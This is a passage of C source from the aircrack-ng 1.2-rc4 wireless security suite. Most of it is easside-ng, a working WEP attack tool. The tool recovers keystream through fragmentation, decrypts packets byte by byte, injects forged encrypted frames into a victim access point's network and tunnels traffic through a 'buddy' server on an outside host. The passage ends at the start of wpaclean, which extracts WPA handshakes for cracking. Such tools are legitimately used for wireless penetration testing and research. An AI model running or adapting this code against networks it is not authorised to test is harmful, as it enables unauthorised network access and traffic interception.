= 1; } if (!es->es_have_arp && is_arp(wh, len-sizeof(*wh)-4-4)) { memcpy(es->es_packet_arp, wh, len); es->es_have_arp = len; if (es->es_astate == AS_DECRYPT_IP) { printf("\nPreempting to ARP decryption\n"); es->es_astate = AS_FIND_IP; } } } len -= sizeof(*wh); switch (es->es_astate) { case AS_NOPRGA: base_prga(es, wh, len); es->es_astate = AS_PRGA_EXPAND; break; case AS_PRGA_EXPAND: check_expand(es, wh, len); break; case AS_FIND_IP: break; case AS_DECRYPT_ARP: check_decrypt_arp(es, wh, len); break; case AS_DECRYPT_IP: check_decrypt_ip(es, wh, len); break; case AS_FIND_RTR_MAC: check_rtr_mac(es, wh, len); break; case AS_CHECK_INET: break; case AS_REDIRECT: check_redirect(es, wh, len); break; default: abort(); break; } } void read_wifi(struct east_state *es) { unsigned char buf[4096]; int len; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; len = wi_read(es->es_wi, buf, sizeof(buf), NULL); if (len == -1) err(1, "wi_read()"); /* XXX: I don't do any length chex */ if (len < 2) { printf("Short packet %d\n", len); return; } switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { case IEEE80211_FC0_TYPE_MGT: read_mgt(es, wh, len); break; case IEEE80211_FC0_TYPE_CTL: read_ctl(es, wh, len); break; case IEEE80211_FC0_TYPE_DATA: read_data(es, wh, len); break; default: printf("Unknown type %x\n", wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK); break; } } unsigned int msec_diff(struct timeval *after, struct timeval *before) { unsigned int diff; assert(after->tv_sec >= before->tv_sec); if (after->tv_sec > before->tv_sec) { unsigned int usec; diff = (after->tv_sec - before->tv_sec - 1) * 1000; usec = 1000*1000 - before->tv_usec; usec += after->tv_usec; diff += usec/1000; } else /* after->tv_sec == before->tv_sec */ diff = (after->tv_usec - before->tv_usec)/1000; return diff; } void msec_to_tv(int msec, struct timeval *tv) { tv->tv_sec = msec/1000; tv->tv_usec = (msec - tv->tv_sec*1000)*1000; } void chan_hop(struct east_state *es, struct timeval *tv) { struct timeval now; unsigned int elapsed; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); elapsed = msec_diff(&now, &es->es_lasthop); /* hop */ if (elapsed >= es->es_hopfreq) { es->es_apchan++; if (es->es_apchan > 12) es->es_apchan = 1; es->es_lasthop = now; set_chan(es); printf("Chan %.2d\r", es->es_apchan); fflush(stdout); msec_to_tv(es->es_hopfreq, tv); } else msec_to_tv(es->es_hopfreq - elapsed, tv); } unsigned short fnseq(unsigned short fn, unsigned short seq) { unsigned short r = 0; assert(fn < 16); r = fn; r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); return r; } void fill_basic(struct east_state *es, struct ieee80211_frame *wh) { unsigned short* sp; /* macs */ memcpy(wh->i_addr1, es->es_apmac, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, es->es_mymac, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, es->es_apmac, sizeof(wh->i_addr3)); /* duration */ sp = (unsigned short*) wh->i_dur; // *sp = htole16(32767); *sp = htole16(0); /* seq */ sp = (unsigned short*) wh->i_seq; *sp = fnseq(0, es->es_txseq); } void send_frame(struct east_state *es, void *buf, int len) { int rc; rc = wi_write(es->es_wi, buf, len, NULL); if(rc == -1) err(1, "wi_write()"); if (rc != len) { printf("ERROR: Packet length changed while transmitting (%d instead of %d).\n", rc, len); exit(1); } if (gettimeofday(&es->es_txlast, NULL) == -1) err(1, "gettimeofday()"); } int too_early(struct timeval *tv, int to, struct timeval *last_sent) { struct timeval now; unsigned int elapsed; /* check if timeout expired */ if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); elapsed = msec_diff(&now, last_sent); if (elapsed < (unsigned int) to) { msec_to_tv(to - elapsed, tv); return 1; } msec_to_tv(to, tv); return 0; } void send_auth(struct east_state *es, struct timeval *tv) { unsigned char buf[4096]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned short *sp; int len; if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; /* transaction number */ sp = (unsigned short*) (wh+1); sp++; *sp = htole16(1); len = sizeof(*wh) + 2 + 2 + 2; printf("Sending auth request\n"); send_frame(es, wh, len); } void send_assoc(struct east_state *es, struct timeval *tv) { unsigned char buf[4096]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned short *sp; int len; unsigned char *ptr; if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; sp = (unsigned short*) (wh+1); /* capability */ *sp++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY); *sp++ = htole16(100); /* listen interval */ /* ssid */ ptr = (unsigned char*) sp; *ptr++ = IEEE80211_ELEMID_SSID; len = strlen(es->es_apssid); *ptr++ = len; strncpy((char*)ptr, es->es_apssid, 32); ptr += len; /* rates */ *ptr++ = IEEE80211_ELEMID_RATES; *ptr++ = 8; *ptr++ = 2 | 0x80; *ptr++ = 4 | 0x80; *ptr++ = 11 | 0x80; *ptr++ = 22 | 0x80; *ptr++ = 12 | 0x80; *ptr++ = 24 | 0x80; *ptr++ = 48 | 0x80; *ptr++ = 72; /* x-rates */ *ptr++ = IEEE80211_ELEMID_XRATES; *ptr++ = 4; *ptr++ = 48; *ptr++ = 72; *ptr++ = 96; *ptr++ = 108; len = ptr - buf; printf("Sending assoc request\n"); send_frame(es, wh, len); } void put_crc32(void *data, int len) { unsigned int *ptr = (unsigned int*) ((char*)data+len); *ptr = get_crc32(data, len); } void expand_prga(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); unsigned short* sp = (unsigned short*) wh->i_seq; int dlen; int early; int totlen; /* start from beginning */ if (es->es_expand_num == -1) { es->es_txack = 0; es->es_expand_num = 0; es->es_txseq++; es->es_clearp = es->es_clear; } early = too_early(tv, es->es_txto_expand, &es->es_txlast); if (!es->es_txack && early) return; memset(buf, 0, sizeof(buf)); /* see if we got an ack to move onto next frag */ if (es->es_txack) { es->es_expand_num++; es->es_clearp = es->es_clearpnext; if (es->es_expand_num == es->es_expand_factor) { es->es_expand_num = 0; es->es_txseq++; es->es_clearp = es->es_clear; } es->es_txack = 0; } else wh->i_fc[1] |= IEEE80211_FC1_RETRY; if (es->es_expand_num == 0 && early) return; /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memset(wh->i_addr3, 0xff, 6); /* iv & crc */ memcpy(data, es->es_iv, 3); data += 4; dlen = es->es_prgalen - 4; /* see how much we sent */ totlen = dlen*es->es_expand_num; es->es_expand_len = totlen + dlen + 4; if ((int) sizeof(es->es_prga) < es->es_expand_len) { es->es_expand_len -= dlen; dlen = sizeof(es->es_prga) - totlen - 4; /* don't need as many frags; start over */ if (dlen <= 0) { es->es_expand_num = -1; es->es_expand_len = sizeof(es->es_prga); return; } es->es_expand_len += dlen; wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; } assert((es->es_clearp >= es->es_clear) && ((es->es_clearp + dlen) < &es->es_clear[sizeof(es->es_clear)])); memcpy(data, es->es_clearp, dlen); es->es_clearpnext = es->es_clearp + dlen; put_crc32(data, dlen); xor(data, data, es->es_prga, es->es_prgalen); /* send frag */ if ((es->es_expand_num+1) == es->es_expand_factor) wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; *sp = fnseq(es->es_expand_num, es->es_txseq); printf("Sending %d byte fragment %d:%d\r", dlen, es->es_txseq, es->es_expand_num); fflush(stdout); send_frame(es, wh, data - buf + dlen + 4); } void decrypt_packet(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; if (too_early(tv, es->es_txto_decrypt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, S_MCAST, 5); wh->i_addr3[5] = es->es_prga_d[es->es_prga_dlen]; /* iv & crc */ memcpy(data, es->es_prga_div, 3); data += 4; dlen = es->es_prga_dlen - 4 + 1; memcpy(data, es->es_clear, dlen); put_crc32(data, dlen); xor(data, data, es->es_prga_d, es->es_prga_dlen+1); printf_time("Guessing prga byte %d with %.2X\r", es->es_prga_dlen, es->es_prga_d[es->es_prga_dlen]); fflush(stdout); send_frame(es, wh, data - buf + dlen + 4); es->es_prga_d[es->es_prga_dlen]++; } void decrypt_arp(struct east_state *es, struct timeval *tv) { /* init */ if (es->es_astate != AS_DECRYPT_ARP) { unsigned char clear[1024]; unsigned char *prga = es->es_prga_d; unsigned char *ct; struct ieee80211_frame *wh = (struct ieee80211_frame*) es->es_packet_arp; int len; es->es_astate = AS_DECRYPT_ARP; ct = (unsigned char*) (wh+1); memcpy(es->es_prga_div, ct, 3); ct += 4; len = known_clear(clear, wh, 8 + sizeof(struct arphdr) + 10*2); xor(prga, clear, ct, len); prga += len; *prga = 0; es->es_prga_dlen = prga - es->es_prga_d; } decrypt_packet(es, tv); } void decrypt_ip(struct east_state *es, struct timeval *tv) { /* init */ if (es->es_astate != AS_DECRYPT_IP) { unsigned char clear[1024]; unsigned char *prga = es->es_prga_d; unsigned char *ct; struct ieee80211_frame *wh = (struct ieee80211_frame*) es->es_packet; int len; unsigned short totlen; es->es_astate = AS_DECRYPT_IP; ct = (unsigned char*) (wh+1); memcpy(es->es_prga_div, ct, 3); ct += 4; /* llc snap */ len = 8; memcpy(clear, S_LLC_SNAP_IP, len); xor(prga, clear, ct, len); prga += len; ct += len; /* ip hdr */ len = 2; memcpy(clear, "\x45\x00", len); xor(prga, clear, ct, len); prga += len; ct += len; /* tot len */ totlen = es->es_have_packet - sizeof(*wh) - 4 - 8 - 4; totlen = htons(totlen); len = 2; memcpy(clear, &totlen, len); xor(prga, clear, ct, len); prga += len; ct += len; *prga = 0; es->es_prga_dlen = prga - es->es_prga_d; } decrypt_packet(es, tv); } void find_ip(struct east_state *es, struct timeval *tv) { if (es->es_rtrip.s_addr && es->es_myip.s_addr) { set_tap_ip(es); es->es_astate = AS_FIND_RTR_MAC; return; } if (es->es_have_arp) decrypt_arp(es, tv); else if (es->es_have_packet) decrypt_ip(es, tv); } void send_whohas(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct arphdr *ah; unsigned char *datas; if (too_early(tv, es->es_txto_whohas, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memset(wh->i_addr3, 0xff, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_ARP, 8); data += 8; /* arp */ ah = (struct arphdr*) data; ah->ar_hrd = htons(ARPHRD_ETHER); ah->ar_pro = htons(ETHERTYPE_IP); ah->ar_hln = 6; ah->ar_pln = 4; ah->ar_op = htons(ARPOP_REQUEST); data = (unsigned char*) (ah+1); memcpy(data, es->es_mymac, 6); data += 6; memcpy(data, &es->es_myip, 4); data += 4; data += 6; memcpy(data, &es->es_rtrip, 4); data += 4; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf("Sending who has %s", inet_ntoa(es->es_rtrip)); printf(" tell %s\n", inet_ntoa(es->es_myip)); send_frame(es, wh, data - buf + 4); } void check_inet(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct ip *iph; unsigned char *datas; unsigned short *seq; struct udphdr *uh; if (too_early(tv, es->es_txto_checkinet, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, es->es_rtrmac, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_IP, 8); data += 8; /* ip */ iph = (struct ip*) data; iph->ip_hl = 5; iph->ip_v = 4; iph->ip_len = htons(sizeof(*iph)+sizeof(*uh)+S_HELLO_LEN); iph->ip_id = htons(666); iph->ip_ttl = 69; iph->ip_p = IPPROTO_UDP; iph->ip_src = es->es_myip; iph->ip_dst = es->es_srvip; iph->ip_sum = in_cksum((unsigned short*)iph, 20); /* udp */ uh = (struct udphdr*) (iph+1); uh->uh_sport = htons(53); uh->uh_dport = htons(es->es_udp_port); uh->uh_ulen = htons(sizeof(*uh)+S_HELLO_LEN); uh->uh_sum = 0; /* data */ data = (unsigned char*) (uh+1); memcpy(data, "sorbo", 5); seq = (unsigned short*) (data+5); es->es_rpacket_id += 1; *seq = htons(es->es_rpacket_id); data += S_HELLO_LEN; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf("Checking for internet... %d\n", es->es_rpacket_id); send_frame(es, wh, data - buf + 4); if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()"); } void redirect_sendip(struct east_state *es, struct rpacket *rp) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct ip *iph; unsigned char *datas; struct udphdr *uh; unsigned short *id; memset(buf, 0, sizeof(buf)); /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP | IEEE80211_FC1_MORE_FRAG; memcpy(wh->i_addr3, es->es_rtrmac, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_IP, 8); data += 8; /* ip */ iph = (struct ip*) data; iph->ip_hl = 5; iph->ip_v = 4; dlen = rp->rp_len - sizeof(*wh) - 4 - 4 + 2; iph->ip_len = htons(sizeof(*iph)+sizeof(*uh)+dlen); iph->ip_id = htons(666); iph->ip_ttl = 69; iph->ip_p = IPPROTO_UDP; iph->ip_src = es->es_myip; iph->ip_dst = es->es_srvip; iph->ip_sum = in_cksum((unsigned short*)iph, 20); /* udp */ uh = (struct udphdr*) (iph+1); uh->uh_sport = htons(53); uh->uh_dport = htons(es->es_udp_port); uh->uh_ulen = htons(sizeof(*uh)+dlen); uh->uh_sum = 0; /* packet id */ id = (unsigned short*) (uh+1); *id++ = htons(rp->rp_id); /* data */ data = (unsigned char*) id; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); #if 0 printf("Sending IP for %d %d:0\n", rp->rp_id, es->es_txseq); #endif send_frame(es, wh, data - buf + 4); } void redirect_sendfrag(struct east_state *es, struct rpacket *rp) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; unsigned short *sp = (unsigned short*) wh->i_seq; memset(buf, 0, sizeof(buf)); /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, es->es_rtrmac, 6); memset(wh->i_addr3, 0xff, 6); *sp = fnseq(1, es->es_txseq); dlen = rp->rp_len - sizeof(*wh); memcpy(data, ((struct ieee80211_frame*)rp->rp_packet) + 1, dlen); #if 0 printf("Sending frag for %d %d:1 [%d]\n", rp->rp_id, es->es_txseq, dlen - 8); #endif send_frame(es, wh, sizeof(*wh) + dlen); } void redirect(struct east_state *es, struct timeval *tv) { struct rpacket *rp = get_head(es); if (!rp) return; if (too_early(tv, es->es_txto_redirect, &es->es_txlast)) return; es->es_txseq++; printf("Redirecting packet id %d len %d [qlen %d]\n", rp->rp_id, rp->rp_len, queue_len(es)); /* rtt */ if (!es->es_rtt_id || (es->es_rtt_id = rp->rp_id)) { es->es_rtt_id = rp->rp_id; if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()"); } /* fire fragz */ redirect_sendip(es, rp); usleep(1*1000); redirect_sendfrag(es, rp); } void associated(struct east_state *es, struct timeval *tv) { switch (es->es_astate) { case AS_NOPRGA: break; case AS_PRGA_EXPAND: expand_prga(es, tv); break; case AS_FIND_IP: find_ip(es, tv); break; case AS_DECRYPT_ARP: decrypt_arp(es, tv); break; case AS_DECRYPT_IP: decrypt_ip(es, tv); break; case AS_FIND_RTR_MAC: send_whohas(es, tv); break; case AS_CHECK_INET: check_inet(es, tv); break; case AS_REDIRECT: redirect(es, tv); break; default: abort(); break; } } void buddy_inet_check(struct east_state *es) { struct { struct in_addr addr; unsigned short id; } __packed data; struct timeval now; int rtt; assert(sizeof(data) == 6); if (recv(es->es_buddys, &data, sizeof(data), 0) != sizeof(data)) err(1, "buddy_inet_check: recv()"); if (es->es_astate != AS_CHECK_INET) return; memcpy(&es->es_pubip, &data.addr, sizeof(es->es_pubip)); printf("Internet w0rx. Public IP %s\n", inet_ntoa(es->es_pubip)); data.id = ntohs(data.id); if (data.id != es->es_rpacket_id) { printf("seq doesn't match %d %d\n", data.id, es->es_rpacket_id); return; } if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); rtt = msec_diff(&now, &es->es_rtt); es->es_astate = AS_REDIRECT; printf("Rtt %dms\n", rtt); if (es->es_iponly) reset(es); } void buddy_packet(struct east_state *es) { unsigned char buf[2048]; unsigned short *p = (unsigned short*) buf; unsigned short id, len; struct rpacket *rp; struct ieee80211_frame *wh; unsigned char *ptr; int got = 0; int rc; if ((rc = recv(es->es_buddys, buf, 4, 0)) != 4) { if (rc == -1) err(1, "buddy_packet: recv() id & len"); printf("buddy_packet: recv id len got %d/%d\n", rc, 4); exit(1); } id = ntohs(*p); p++; len = ntohs(*p); p++; assert(len+6 <= (int) sizeof(buf)); ptr = &buf[6]; got = 0; while (got != len) { int rem = len - got; rc = recv(es->es_buddys, ptr, rem, 0); if (rc == -1) err(1, "buddy_packet: recv() packet"); got += rc; ptr += rc; } if (es->es_astate != AS_REDIRECT) return; printf_time("Got packet %d", id); if (es->es_rtt_id == id) { struct timeval now; int rtt; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); rtt = msec_diff(&now, &es->es_rtt); es->es_rtt_id = 0; printf(" rtt %dms", rtt); if (es->es_srtt == 0) es->es_srtt = rtt; else { es->es_srtt += rtt; es->es_srtt >>= 1; } if (es->es_srtt == 0) es->es_srtt = 1; es->es_txto_redirect = es->es_srtt << 1; if (es->es_txto_redirect < S_MIN_RTO) es->es_txto_redirect = S_MIN_RTO; printf(" srtt %dms rto %dms", es->es_srtt, es->es_txto_redirect); } rp = get_packet(es, id); if (!rp) { printf(" [not in queue]\n"); return; } wh = (struct ieee80211_frame*) rp->rp_packet; memcpy(buf, get_da(wh), 6); memcpy(&buf[6], get_sa(wh), 6); len += 6; if (ti_write(es->es_ti, buf, len) != len) err(1, "ti_write()"); remove_packet(es, id); printf(" qlen %d\n", queue_len(es)); clear_timeout(es); } void read_buddy(struct east_state *es) { unsigned short cmd; int rc; rc = recv(es->es_buddys, &cmd, sizeof(cmd), 0); if (rc != sizeof(cmd)) err(1, "read_buddy: can't get cmd\n"); cmd = ntohs(cmd); switch (cmd) { case S_CMD_INET_CHECK: buddy_inet_check(es); break; case S_CMD_PACKET: buddy_packet(es); break; default: abort(); break; } } void read_tap(struct east_state *es) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; unsigned char *datas; unsigned char dst[6]; struct timeval old; memset(buf, 0, sizeof(buf)); dlen = ti_read(es->es_ti, data-2, S_MTU+14); if (dlen == -1) err(1, "ti_read()"); memcpy(dst, data-2, 6); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, dst, 6); /* iv */ memcpy(data, es->es_iv, 3); data[3] = 0; data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP, 6); data += 8; dlen = dlen - 14 + 8; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf_time("Sending frame from tap %d\n", dlen); old = es->es_txlast; send_frame(es, wh, sizeof(*wh) + 4 + dlen + 4); es->es_txlast = old; } void own(struct east_state *es) { fd_set rfds; struct timeval tv, *tvp; int maxfd; if (es->es_prgalen) es->es_astate = AS_PRGA_EXPAND; if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP; for (;;) { FD_ZERO(&rfds); maxfd = wi_fd(es->es_wi); FD_SET(maxfd, &rfds); memset(&tv, 0, sizeof(tv)); tvp = NULL; if (es->es_buddys) { FD_SET(es->es_buddys, &rfds); if (es->es_buddys > maxfd) maxfd = es->es_buddys; } if (es->es_astate > AS_PRGA_EXPAND && es->es_state == S_ASSOCIATED) { int tapfd = ti_fd(es->es_ti); FD_SET(tapfd, &rfds); if (tapfd > maxfd) maxfd = tapfd; } switch (es->es_state) { case S_SEARCHING: if (!es->es_chanlock) chan_hop(es, &tv); break; case S_SENDAUTH: send_auth(es, &tv); break; case S_SENDASSOC: send_assoc(es, &tv); break; case S_ASSOCIATED: associated(es, &tv); break; default: abort(); break; } if (tv.tv_sec || tv.tv_usec) tvp = &tv; if (select(maxfd+1, &rfds, NULL, NULL, tvp) == -1) err(1, "select()"); if (FD_ISSET(wi_fd(es->es_wi), &rfds)) { read_wifi(es); } if (es->es_buddys && FD_ISSET(es->es_buddys, &rfds)) read_buddy(es); if (FD_ISSET(ti_fd(es->es_ti), &rfds)) read_tap(es); } } void usage(char *p) { if (p) {} char *version_info = getVersion("Easside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); printf("\n" " %s - (C) 2007, 2008, 2009 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: easside-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -v : Victim BSSID\n" " -m : Source MAC address\n" " -i : Source IP address\n" " -r : Router IP address\n" " -s : Buddy-ng IP address (mandatory)\n" " -f : Interface to use (mandatory)\n" " -c : Lock card to this channel\n" " -n : Determine Internet IP only\n" "\n", version_info); free(version_info); } void load_prga(struct east_state *es) { int fd; int rc; fd = open(S_PRGA_LOG, O_RDONLY); if (fd == -1) return; rc = read(fd, es->es_iv, 3); if (rc != 3) { printf("Can't read IV from %s\n", S_PRGA_LOG); exit(1); } rc = read(fd, es->es_prga, sizeof(es->es_prga)); if (rc == -1) err(1, "load_prga: read()"); es->es_prgalen = rc; close(fd); printf("Loaded %d PRGA bytes from %s\n", es->es_prgalen, S_PRGA_LOG); } int main(int argc, char *argv[]) { int ch; struct east_state *es = &_es; init_defaults(es); while ((ch = getopt(argc, argv, "hv:m:i:r:s:f:nc:")) != -1) { switch (ch) { case 'c': es->es_chanlock = atoi(optarg); break; case 'f': strncpy(es->es_ifname, optarg, sizeof(es->es_ifname)-1); es->es_ifname[sizeof(es->es_ifname)-1] = 0; break; case 'v': if (str2mac(es->es_apmac, optarg) == -1) { printf("Can't parse AP mac\n"); exit(1); } break; case 'm': if (str2mac(es->es_mymac, optarg) == -1) { printf("Can't parse my mac\n"); exit(1); } es->es_setmac = 1; break; case 'i': if (!inet_aton(optarg, &es->es_myip)) { printf("Can't parse my ip\n"); exit(1); } break; case 'r': if (!inet_aton(optarg, &es->es_rtrip)) { printf("Can't parse rtr ip\n"); exit(1); } break; case 's': if (!inet_aton(optarg, &es->es_srvip)) { printf("Can't parse srv ip\n"); exit(1); } break; case 'n': es->es_iponly = 1; break; case 'h': default: usage(argv[0]); exit(0); } } if (es->es_srvip.s_addr == 0) { printf("Need at least server IP\n"); usage(argv[0]); exit(0); } load_prga(es); open_wifi(es); open_tap(es); set_mac(es); if (es->es_chanlock) set_chan(es); if (signal(SIGINT, sighand) == SIG_ERR) err(1, "signal(SIGINT)"); if (signal(SIGTERM, sighand) == SIG_ERR) err(1, "signal(SIGTERM)"); printf_time("Ownin...\n"); own(es); die("the end"); exit(0); } aircrack-ng-1.2-rc4/src/easside.h0000644000000000000000000000046610761053203015301 0ustar rootroot/*- * Copyright (c) 2007, Andrea Bittau * */ #ifndef __EASSIDE_COMMON_H__ #define __EASSIDE_COMMON_H__ #define S_DEFAULT_PORT 6969 #define S_DEFAULT_UDP_PORT 6969 #define S_CMD_INET_CHECK 1 #define S_CMD_PACKET 2 #define S_HELLO_LEN 50 #endif /* __EASSIDE_COMMON_H__ */ aircrack-ng-1.2-rc4/src/wpaclean.c0000644000000000000000000004070412630762477015471 0ustar rootroot/* * Copyright (C) 2011 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include "aircrack-ng.h" #include "version.h" #include "aircrack-ptw-lib.h" #include "osdep/osdep.h" #include "ieee80211.h" #include "crypto.h" #include "pcap.h" static unsigned char ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; struct packet { unsigned char p_data[2048]; int p_len; }; struct client { unsigned char c_mac[6]; int c_wpa; int c_wpa_got; struct packet c_handshake[4]; struct client *c_next; }; struct network { unsigned char n_bssid[6]; unsigned char n_beacon[2048]; int n_beaconlen; char n_ssid[256]; struct client n_clients; struct client *n_handshake; struct network *n_next; } _networks; static int _outfd; static int open_pcap(char *fname) { int fd; struct pcap_file_header pfh; memset(&pfh, 0, sizeof(pfh)); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; fd = open(fname, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd == -1) err(1, "open(%s)", fname); if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()"); return fd; } static void write_pcap(int fd, void *p, int len) { struct pcap_pkthdr pkh; memset(&pkh, 0, sizeof(pkh)); pkh.caplen = pkh.len = len; pkh.tv_sec = 0; pkh.tv_usec = 0; if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()"); if (write(fd, p, len) != len) err(1, "write()"); } static void packet_write_pcap(int fd, struct packet *p) { write_pcap(fd, p->p_data, p->p_len); } static void print_network(struct network *n) { printf("Net %.2x:%.2x:%.2x:%.2x:%.2x:%.2x %s\n", n->n_bssid[0], n->n_bssid[1], n->n_bssid[2], n->n_bssid[3], n->n_bssid[4], n->n_bssid[5], n->n_ssid); } static void save_network(struct network *n) { int i; write_pcap(_outfd, n->n_beacon, n->n_beaconlen); for (i = 0; i < 4; i++) { struct packet *p = &n->n_handshake->c_handshake[i]; if (p->p_len) packet_write_pcap(_outfd, p); } } static void fix_beacon(struct network *n) { unsigned char *p; int ssidlen; int origlen; /* beacon surgery */ p = n->n_beacon + sizeof(struct ieee80211_frame) + 8 + 2 + 2; ssidlen = strlen(n->n_ssid); 